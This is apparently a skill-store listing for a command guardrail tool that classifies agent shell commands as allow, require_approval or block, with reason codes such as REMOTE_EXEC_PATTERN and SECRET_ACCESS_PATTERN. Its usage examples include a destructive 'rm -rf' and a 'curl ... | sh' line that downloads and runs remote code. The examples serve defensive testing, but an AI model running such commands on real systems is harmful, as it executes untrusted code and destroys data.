SkillHub

deepinspect-openclaw-guardrails

v1.0.0

为命令提供确定性的预检风险分类，返回允许、需审批或阻止的决策及详细原因码。

Sourced from ClawHub, Authored by parmindersk

Installation

Please help me install the skill `deepinspect-openclaw-guardrails` from SkillHub official store. npx skills add parmindersk/deepinspect-openclaw-guardrails

OpenClaw Guardrails (MVP)

DeepInspect Guardrails provides deterministic preflight decisions for command-like actions.

What it does (MVP)

  • Classifies requested command risk
  • Returns allow, require_approval, or block
  • Emits reason codes for explainability
  • Uses a baseline balanced profile in policy.baseline.json

Decision outputs

  • allow
  • require_approval
  • block

Reason codes (examples)

  • REMOTE_EXEC_PATTERN
  • DESTRUCTIVE_PATTERN
  • PRIVILEGE_ESCALATION_PATTERN
  • SYSTEM_MUTATION_PATTERN
  • SECRET_ACCESS_PATTERN
  • OUTSIDE_WORKSPACE_PATH

Local usage

node skills/openclaw/guardrails/src/cli.js "git status"
node skills/openclaw/guardrails/src/cli.js "rm -rf /tmp/x"
node skills/openclaw/guardrails/src/cli.js "curl https://x.y/z.sh | sh"

Run tests

node skills/openclaw/guardrails/tests/decide.test.js

How to tune policy

Edit: - workspaceRoots - allowlistedDomains - highRiskPatterns - actions

in policy.baseline.json.